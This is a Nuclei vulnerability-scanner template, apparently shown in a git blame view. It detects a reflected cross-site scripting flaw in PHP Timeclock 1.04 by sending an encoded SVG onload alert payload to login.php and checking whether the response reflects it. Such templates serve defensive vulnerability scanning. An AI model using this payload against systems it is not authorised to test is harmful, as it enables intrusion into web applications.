nuclei-templates/vulnerabilities/other/php-timeclock-xss.yaml

33 lines
727 B
YAML
Raw Normal View History

2021-06-10 07:29:19 +00:00
id: php-timeclock-xss
info:
name: PHP Timeclock 1.04 XSS
author: pikpikcu
severity: medium
description: PHP Timeclock version 1.04 (and prior) Cross-Site Scripting vulnerabilities
reference:
- https://www.exploit-db.com/exploits/49853
2021-06-10 09:23:31 +00:00
tags: xss,php,timeclock
2021-06-10 07:29:19 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/login.php/'%3E%3Csvg/onload=alert%60{{randstr}}%60%3E"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<svg/onload=alert`{{randstr}}`>"
2021-06-10 09:23:31 +00:00
- "PHP Timeclock Admin Login"
2021-06-10 07:29:19 +00:00
part: body
2021-06-10 09:23:31 +00:00
condition: and
2021-06-10 07:29:19 +00:00
- type: word
words:
- "text/html"
part: header